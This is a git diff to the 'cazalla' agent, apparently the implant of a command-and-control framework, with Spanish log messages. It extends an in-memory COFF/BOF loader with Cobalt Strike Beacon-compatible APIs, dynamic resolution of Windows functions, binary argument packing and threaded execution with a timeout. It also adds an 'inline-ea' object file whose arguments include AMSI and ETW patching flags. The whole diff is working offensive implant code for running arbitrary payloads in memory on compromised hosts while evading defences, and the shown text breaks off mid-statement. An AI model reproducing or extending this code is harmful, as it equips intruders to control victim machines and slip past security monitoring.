diff --git a/Payload_Type/cazalla/cazalla/agent_code/bofs/inline-ea.x64.o b/Payload_Type/cazalla/cazalla/agent_code/bofs/inline-ea.x64.o new file mode 100644 index 0000000..e136341 Binary files /dev/null and b/Payload_Type/cazalla/cazalla/agent_code/bofs/inline-ea.x64.o differ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c index d3a81fe..a0a81ba 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/inline_execute.c @@ -17,6 +17,39 @@ static char* beacon_output_buffer = NULL; static int beacon_output_size = 0; static int beacon_output_offset = 0; +// Structure for BOF execution in separate thread +typedef struct _BOF_THREAD_ARGS { + char* bofBuffer; + DWORD bofSize; + char* args; + unsigned long argsSize; + volatile BOOL completed; + volatile BOOL success; +} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS; + +// Thread function to execute BOF +static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) { + PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam; + if (!threadArgs) { + _err("[BOFExecutionThread] threadArgs es NULL"); + return 1; + } + + _inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado"); + threadArgs->completed = FALSE; + threadArgs->success = FALSE; + + // Execute BOF + DWORD fileSize = threadArgs->bofSize; + BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize); + + threadArgs->success = result; + threadArgs->completed = TRUE; + _inf("[BOFExecutionThread] BOF ejecutado, success=%d", result); + + return result ? 0 : 1; +} + // BeaconPrintf - Capture formatted output from BOFs void BeaconPrintf(int type, char* fmt, ...) { va_list args; @@ -316,7 +349,17 @@ static BOOL InternalFunctionMatch(char* StrippedSymbolName) { STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") || STR_EQUALS(StrippedSymbolName, "toWideChar") || STR_EQUALS(StrippedSymbolName, "LoadLibraryA") || - STR_EQUALS(StrippedSymbolName, "FreeLibrary")) + STR_EQUALS(StrippedSymbolName, "FreeLibrary") || + STR_EQUALS(StrippedSymbolName, "BeaconDataParse") || + STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") || + STR_EQUALS(StrippedSymbolName, "BeaconDataInt") || + STR_EQUALS(StrippedSymbolName, "BeaconDataShort") || + STR_EQUALS(StrippedSymbolName, "BeaconDataLength") || + STR_EQUALS(StrippedSymbolName, "BeaconPrintf") || + STR_EQUALS(StrippedSymbolName, "BeaconOutput") || + STR_EQUALS(StrippedSymbolName, "BeaconUseToken") || + STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") || + STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin")) { return TRUE; } @@ -331,23 +374,44 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) { char localSymbolNameCopy[1024] = { 0 }; *InternalFunction = FALSE; char* locallib = NULL; - char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1; + char* localfunc = NULL; HMODULE llHandle = NULL; char* context = NULL; + if (!SymbolName) { + _err("[ProcessBeaconSymbols] SymbolName es NULL"); + return NULL; + } + + // Check if symbol starts with PREPENDSYMBOLVALUE + SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE); + if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) { + // Try to resolve anyway (might be a direct symbol name) + localfunc = SymbolName; + } else { + localfunc = SymbolName + prependLen; + } + strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1); // Hash-based function resolution for internal functions // For now, we'll use direct function resolution - if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) { + if (InternalFunctionMatch(localfunc)) { *InternalFunction = TRUE; - localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE); UINT32 hash = custom_hash(localfunc); // Map common Beacon functions by hash UINT32 funcHash = hash; if (funcHash == custom_hash("BeaconDataParse")) { return (void*)BeaconDataParse; + } else if (funcHash == custom_hash("BeaconDataExtract")) { + return (void*)BeaconDataExtract; + } else if (funcHash == custom_hash("BeaconDataInt")) { + return (void*)BeaconDataInt; + } else if (funcHash == custom_hash("BeaconDataShort")) { + return (void*)BeaconDataShort; + } else if (funcHash == custom_hash("BeaconDataLength")) { + return (void*)BeaconDataLength; } else if (funcHash == custom_hash("BeaconPrintf")) { return (void*)BeaconPrintf; } else if (funcHash == custom_hash("BeaconOutput")) { @@ -366,18 +430,60 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) { return (void*)BeaconRevertToken; } else if (funcHash == custom_hash("BeaconIsAdmin")) { return (void*)BeaconIsAdmin; + } else { + _wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash); } } else { // External symbol - parse library$function format - locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context); + // Make a working copy for strtok_s (it modifies the string) + char workingCopy[1024] = { 0 }; + SIZE_T copyLen = strlen(localfunc); + if (copyLen >= sizeof(workingCopy)) { + _err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen); + return NULL; + } + strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen); + + // Parse library$function format + char* context1 = NULL; + locallib = strtok_s(workingCopy, "$", &context1); if (locallib) { llHandle = LoadLibraryA(locallib); - localfunc = strtok_s(NULL, "$", &context); - if (localfunc) { - localfunc = strtok_s(localfunc, "@", &context); - functionaddress = GetProcAddress(llHandle, localfunc); + if (!llHandle) { + DWORD error = GetLastError(); + _err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error); + return NULL; + } + + char* funcToken = strtok_s(NULL, "$", &context1); + if (funcToken) { + // Remove ordinal suffix if present (function@ordinal) + char* context2 = NULL; + char* funcName = strtok_s(funcToken, "@", &context2); + if (funcName) { + functionaddress = GetProcAddress(llHandle, funcName); + if (!functionaddress) { + DWORD error = GetLastError(); + _err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error); + } + } else { + // No @ found, use the whole token as function name + functionaddress = GetProcAddress(llHandle, funcToken); + if (!functionaddress) { + DWORD error = GetLastError(); + _err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error); } } + } else { + _err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc); + } + } else { + _wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc); + } + } + + if (!functionaddress) { + _wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName); } return functionaddress; @@ -394,10 +500,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg return FALSE; } + _inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols); for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) { if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) { foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value); - _dbg("[inline_execute] Entry point encontrado: 0x%p", foo); + _inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)", + func, counter, foo, COFF->SymbolTable[counter].Value); break; } } @@ -408,7 +516,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg } // Execute the BOF + // Execute the BOF + // Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC + // The BOF should handle its own errors gracefully + _inf("[ExecuteEntry] Ejecutando entry point '%s'...", func); foo((char*)args, (UINT32)argSize); + _inf("[ExecuteEntry] Entry point '%s' completado", func); return TRUE; } @@ -512,9 +625,12 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat } else { BOOL internalFunctionCheck = FALSE; - funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck); + char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset; + funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck); if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) { - _wrn("[inline_execute] No se pudo resolver símbolo"); + _wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)", + symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber); + // Continue anyway - some symbols might be optional or resolved later } RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping); @@ -523,8 +639,9 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat } // Execute the BOF + _inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize); if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) { - _err("[inline_execute] Error ejecutando entry point"); + _err("[RunCOFF] Error ejecutando entry point '%s'", EntryName); // Cleanup for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { if (sectionMapped[i] != NULL) { @@ -535,6 +652,7 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE); return FALSE; } + _inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName); // Cleanup for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) { @@ -549,18 +667,326 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat } /* - * ParseBOFArguments - Parse BOF arguments from JSON string - * Returns packed arguments buffer and size + * HexStringToBytes - Convert hexadecimal string to bytes + * Returns allocated buffer with decoded bytes */ -static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) { - // For now, we'll pass the JSON string directly - // A full implementation would parse the JSON and pack arguments according to type - *outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen); - if (!*outBuffer) { +static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) { + if (!hexStr || hexLen == 0 || hexLen % 2 != 0) { return FALSE; } - memcpy(*outBuffer, argsJson, argsJsonLen); - *outSize = argsJsonLen; + + SIZE_T byteLen = hexLen / 2; + *outBytes = (PBYTE)LocalAlloc(LPTR, byteLen); + if (!*outBytes) { + return FALSE; + } + + for (SIZE_T i = 0; i < byteLen; i++) { + char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'}; + (*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16); + } + + *outLen = byteLen; + return TRUE; +} + +/* + * ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format + * Format expected by BOFs (BeaconDataParse compatible): + * - int16: 2 bytes (little-endian) + * - int32: 4 bytes (little-endian) + * - string: 4 bytes (length) + string data (null-terminated) + * - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char) + * - base64: 4 bytes (length) + decoded base64 data + * - bytes: 4 bytes (length) + raw bytes (from hex string) + * + * JSON format: [["type", "value"], ["type", value], ...] + */ +static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) { + // Simple JSON parser for BOF arguments format: [["type", "value"], ...] + // This is a minimal parser that handles the specific format we use + + if (!argsJson || argsJsonLen == 0) { + *outBuffer = NULL; + *outSize = 0; + _inf("[ParseBOFArguments] No arguments provided"); + return TRUE; // No arguments is valid + } + + _inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson); + + // Check for empty array [] + PCHAR p = argsJson; + PCHAR end = argsJson + argsJsonLen; + while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++; + if (p < end && *p == '[') { + p++; + while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++; + if (p < end && *p == ']') { + // Empty array + *outBuffer = NULL; + *outSize = 0; + _inf("[ParseBOFArguments] Empty array, no arguments"); + return TRUE; + } + } + + // Allocate buffer (estimate: JSON is usually larger than binary, so start with same size) + SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe + PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize); + if (!buffer) { + return FALSE; + } + + SIZE_T offset = 0; + p = argsJson; + + // Skip whitespace and opening bracket + while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++; + + // Parse arguments + while (p < end && *p != ']') { + // Skip whitespace and comma + while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++; + if (p >= end || *p == ']') break; + + // Parse type: "type" + if (*p != '"') { + LocalFree(buffer); + return FALSE; + } + p++; // Skip opening quote + PCHAR typeStart = p; + while (p < end && *p != '"') p++; + if (p >= end) { + LocalFree(buffer); + return FALSE; + } + SIZE_T typeLen = p - typeStart; + p++; // Skip closing quote + + // Skip comma/whitespace + while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++; + + // Parse value + PCHAR valueStart = NULL; + SIZE_T valueLen = 0; + BOOL isString = FALSE; + + if (*p == '"') { + // String value + isString = TRUE; + p++; // Skip opening quote + valueStart = p; + while (p < end && *p != '"') p++; + if (p >= end) { + LocalFree(buffer); + return FALSE; + } + valueLen = p - valueStart; + p++; // Skip closing quote + } else if (*p == '-' || (*p >= '0' && *p <= '9')) { + // Numeric value + valueStart = p; + while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++; + valueLen = p - valueStart; + } else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) || + (p + 5 <= end && strncmp(p, "false", 5) == 0)) { + // Boolean value (true/false without quotes) + valueStart = p; + if (strncmp(p, "true", 4) == 0) { + valueLen = 4; + p += 4; + } else { + valueLen = 5; + p += 5; + } + } else { + // Unexpected format + LocalFree(buffer); + return FALSE; + } + + // Skip closing bracket and whitespace + while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) { + if (*p == ']') break; + p++; + } + + // Pack argument based on type + // Check if we need to reallocate buffer + SIZE_T needed = offset + 1024; // Estimate for worst case + if (needed > bufferSize) { + bufferSize = needed * 2; + PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!newBuffer) { + LocalFree(buffer); + return FALSE; + } + buffer = newBuffer; + } + + // Create temporary null-terminated strings for comparison + char typeBuf[32] = {0}; + if (typeLen < sizeof(typeBuf) - 1) { + memcpy(typeBuf, typeStart, typeLen); + typeBuf[typeLen] = '\0'; + } + + if (strcmp(typeBuf, "int16") == 0) { + INT16 val = (INT16)atoi(valueStart); + if (offset + 2 > bufferSize) { + LocalFree(buffer); + return FALSE; + } + memcpy(buffer + offset, &val, 2); + offset += 2; + _inf("[ParseBOFArguments] Packed int16: %d", val); + } else if (strcmp(typeBuf, "int32") == 0) { + INT32 val = 0; + // Handle boolean values (true/false) and numeric values + // First check for unquoted boolean literals + if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) { + val = 1; + _inf("[ParseBOFArguments] Detected boolean 'true' -> 1"); + } else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) { + val = 0; + _inf("[ParseBOFArguments] Detected boolean 'false' -> 0"); + } else { + val = (INT32)atoi(valueStart); + _inf("[ParseBOFArguments] Parsed numeric value: %d", val); + } + if (offset + 4 > bufferSize) { + LocalFree(buffer); + return FALSE; + } + memcpy(buffer + offset, &val, 4); + offset += 4; + _inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen); + } else if (strcmp(typeBuf, "string") == 0) { + if (offset + 4 + valueLen + 1 > bufferSize) { + LocalFree(buffer); + return FALSE; + } + UINT32 len = (UINT32)(valueLen + 1); // Include null terminator + memcpy(buffer + offset, &len, 4); + offset += 4; + memcpy(buffer + offset, valueStart, valueLen); + offset += valueLen; + buffer[offset++] = '\0'; + _inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len); + } else if (strcmp(typeBuf, "wchar") == 0) { + // Convert to wide string (UTF-16) + SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes + if (offset + 4 + wcharLen > bufferSize) { + LocalFree(buffer); + return FALSE; + } + UINT32 len = (UINT32)wcharLen; + memcpy(buffer + offset, &len, 4); + offset += 4; + // Convert to wide chars + for (SIZE_T i = 0; i < valueLen; i++) { + WCHAR wc = (WCHAR)valueStart[i]; + memcpy(buffer + offset, &wc, 2); + offset += 2; + } + WCHAR nullTerm = 0; + memcpy(buffer + offset, &nullTerm, 2); + offset += 2; + _inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len); + } else if (strcmp(typeBuf, "base64") == 0) { + // Decode base64 + char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1); + if (!b64Str) { + LocalFree(buffer); + return FALSE; + } + memcpy(b64Str, valueStart, valueLen); + b64Str[valueLen] = '\0'; + + PBYTE decoded = NULL; + SIZE_T decodedLen = 0; + if (!base64_decode(b64Str, &decoded, &decodedLen)) { + LocalFree(b64Str); + LocalFree(buffer); + return FALSE; + } + + if (offset + 4 + decodedLen > bufferSize) { + SIZE_T newSize = bufferSize * 2; + while (newSize < offset + 4 + decodedLen) newSize *= 2; + PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!newBuffer) { + LocalFree(b64Str); + LocalFree(decoded); + LocalFree(buffer); + return FALSE; + } + buffer = newBuffer; + bufferSize = newSize; + } + + UINT32 len = (UINT32)decodedLen; + memcpy(buffer + offset, &len, 4); + offset += 4; + memcpy(buffer + offset, decoded, decodedLen); + offset += decodedLen; + + LocalFree(b64Str); + LocalFree(decoded); + _inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen); + } else if (strcmp(typeBuf, "bytes") == 0) { + // Convert hex string to bytes + PBYTE bytes = NULL; + SIZE_T bytesLen = 0; + if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) { + LocalFree(buffer); + return FALSE; + } + + if (offset + 4 + bytesLen > bufferSize) { + SIZE_T newSize = bufferSize * 2; + while (newSize < offset + 4 + bytesLen) newSize *= 2; + PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!newBuffer) { + LocalFree(bytes); + LocalFree(buffer); + return FALSE; + } + buffer = newBuffer; + bufferSize = newSize; + } + + UINT32 len = (UINT32)bytesLen; + memcpy(buffer + offset, &len, 4); + offset += 4; + memcpy(buffer + offset, bytes, bytesLen); + offset += bytesLen; + + LocalFree(bytes); + _inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen); + } else { + // Unknown type - skip or error? + _wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf); + // Continue parsing other arguments + } + } + + // Resize buffer to actual size + if (offset > 0) { + PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE); + if (finalBuffer) { + buffer = finalBuffer; + } + } else { + LocalFree(buffer); + buffer = NULL; + } + + _inf("[ParseBOFArguments] Total packed size: %zu bytes", offset); + *outBuffer = buffer; + *outSize = offset; return TRUE; } @@ -588,11 +1014,11 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { return; } - // Read arguments (JSON string) + // Read arguments (already serialized by translator, like Xenon) SIZE_T argsLen = 0; - PCHAR argsJson = getString(argumentos, &argsLen); + PBYTE argsBuffer = getBytes(argumentos, &argsLen); - _dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", + _inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu", 36, taskUuid, (int)fileIdLen, fileId, argsLen); // Create response package @@ -613,17 +1039,39 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { liberarPaquete(salida); liberarPaquete(respuesta); if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + if (argsBuffer) LocalFree(argsBuffer); if (argumentos) liberarAnalizador(argumentos); return; } - // Parse BOF arguments + // Prepare BOF arguments (like Xenon) + // The translator already serialized the arguments using Packer + // Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length + // The translator sends this as: [len:4 bytes BE][packed_buffer] + // We receive: packed_buffer = [size:4 bytes LE][data] + // BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header + // So we need to replace the first 4 bytes (size) with total_size PBYTE bofArgs = NULL; SIZE_T bofArgsSize = 0; - if (argsJson && argsLen > 0) { - if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) { - _err("[inline_execute] Error parseando argumentos BOF"); - PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n"); + if (argsBuffer && argsLen > 0) { + _inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen); + + // The buffer from translator already has the format from Packer: [size:4 bytes LE][data] + // We just need to replace the first 4 bytes with the total size + bofArgs = argsBuffer; // Use the buffer directly + bofArgsSize = argsLen; + + // Replace first 4 bytes with total size (including the 4-byte header) + UINT32 totalSize = (UINT32)bofArgsSize; + memcpy(bofArgs, &totalSize, 4); + _inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize); + } else { + _inf("[inline_execute] No hay argumentos"); + bofArgs = NULL; + bofArgsSize = 0; + if (argsBuffer) { + LocalFree(argsBuffer); + argsBuffer = NULL; } } @@ -639,58 +1087,168 @@ VOID InlineExecuteHandler(PAnalizador argumentos) { // Execute the BOF DWORD fileSize = (DWORD)bof.size; _inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize); - if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) { - _err("[inline_execute] Error ejecutando BOF"); - PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n"); - } else { - _inf("[inline_execute] BOF ejecutado exitosamente, capturando output..."); - // Get output from Beacon compatibility layer - int outdataSize = 0; - PCHAR outdata = BeaconGetOutputData(&outdataSize); - _inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata); - if (outdata && outdataSize > 0) { - _inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize); - // Debug: log first 200 bytes of output - int logLen = (outdataSize > 200) ? 200 : outdataSize; - _inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata); - addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); - free(outdata); - } else { - _inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize); - PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n"); + _inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs); + + // Log argument structure for debugging (first 100 bytes) + if (bofArgs && bofArgsSize > 0) { + int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize; + // Log only summary of arguments (reduced verbosity to prevent log blocking) + if (bofArgsSize >= 4) { + UINT32* ptr = (UINT32*)bofArgs; + SIZE_T offset = 4; + if (offset + 4 <= bofArgsSize) { + UINT32 bytesLen = ptr[1]; + offset += 4 + bytesLen; + if (offset + 4 <= bofArgsSize) { + UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset); + offset += 4; + if (offset + 4 <= bofArgsSize) { + UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset); + offset += 4 + wcharLen; + if (offset + 4 <= bofArgsSize) { + INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset); + offset += 4; + if (offset + 4 <= bofArgsSize) { + INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset); + offset += 4; + if (offset + 4 <= bofArgsSize) { + INT32 etw = *(INT32*)((PBYTE)bofArgs + offset); + _inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d", + bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw); + } + } + } + } + } + } } } - _inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length); + // Execute the BOF in a separate thread to prevent agent blocking + // This allows the agent to continue even if the BOF hangs or crashes + _inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ==="); + _inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu", + bof.buffer, fileSize, bofArgs, bofArgsSize); + + // Prepare thread arguments + BOF_THREAD_ARGS threadArgs = {0}; + threadArgs.bofBuffer = (char*)bof.buffer; + threadArgs.bofSize = fileSize; + threadArgs.args = (char*)bofArgs; + threadArgs.argsSize = bofArgsSize; + threadArgs.completed = FALSE; + threadArgs.success = FALSE; + + // Create thread to execute BOF + HANDLE hThread = CreateThread(NULL, 0, BOFExecutionThread, &threadArgs, 0, NULL); + if (!hThread) { + _err("[inline_execute] Error creando thread para ejecutar BOF (error: %lu)", GetLastError()); + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo crear thread para ejecutar BOF\n"); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + Analizador* respuestaAnalizador = mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); + if (bof.buffer) LocalFree(bof.buffer); + if (bofArgs) LocalFree(bofArgs); + if (argumentos) liberarAnalizador(argumentos); + return; + } + + // Wait for BOF execution with timeout (30 seconds) + DWORD timeoutMs = 30000; // 30 seconds + _inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs); + DWORD waitResult = WaitForSingleObject(hThread, timeoutMs); + _inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)", + waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT); + + BOOL bofSuccess = FALSE; + if (waitResult == WAIT_OBJECT_0) { + // Thread completed + _inf("[inline_execute] Thread del BOF completó exitosamente"); + bofSuccess = threadArgs.success; + _inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d", + threadArgs.success, threadArgs.completed); + } else if (waitResult == WAIT_TIMEOUT) { + // Thread timed out - BOF is hanging + _err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs); + _inf("[inline_execute] Intentando terminar thread colgado..."); + // Try to terminate the thread (not ideal, but necessary to unblock agent) + if (TerminateThread(hThread, 1)) { + _inf("[inline_execute] Thread terminado exitosamente"); + } else { + _err("[inline_execute] Error terminando thread (error: %lu)", GetLastError()); + } + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000); + bofSuccess = FALSE; + } else { + // Wait failed + _err("[inline_execute] Error esperando thread del BOF (waitResult=%lu, error: %lu)", + waitResult, GetLastError()); + bofSuccess = FALSE; + } + + CloseHandle(hThread); + + // Always try to capture output, even if BOF returned FALSE + // The BOF might have produced output via BeaconPrintf before crashing + // Get output from Beacon compatibility layer + int outdataSize = 0; + PCHAR outdata = BeaconGetOutputData(&outdataSize); + + if (outdata && outdataSize > 0) { + addBytes(salida, (PBYTE)outdata, outdataSize, TRUE); + free(outdata); + + // If BOF failed but we have output, add a warning + if (!bofSuccess) { + PackageAddFormatPrintf(salida, FALSE, "\n[WARNING] BOF execution may have failed, but output was captured\n"); + } + } else { + if (bofSuccess) { + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n"); + } else { + PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n"); + } + } // Add output to response FIRST (before artifacts) // Format must be: [UUID_tarea][output_len][output][marcadores...] - _inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length); addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); // Add Process Create artifact AFTER output // BOF execution creates process artifacts char artifact_buf[512]; - if (argsJson && argsLen > 0) { - snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s", - (int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson); + if (bofArgs && bofArgsSize > 0) { + snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args_size=%zu", + (int)fileIdLen, fileId, bofArgsSize); } else { snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId); } addArtifact(respuesta, "Process Create", artifact_buf); - _inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length); - // Send response Analizador* respuestaAnalizador = mandarPaquete(respuesta); + if (respuestaAnalizador) { + liberarAnalizador(respuestaAnalizador); + } else { + _err("[inline_execute] ERROR: mandarPaquete retornó NULL - la respuesta no se envió"); + } liberarPaquete(salida); liberarPaquete(respuesta); - if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador); // Cleanup - if (bof.buffer) LocalFree(bof.buffer); - if (bofArgs) LocalFree(bofArgs); - if (argumentos) 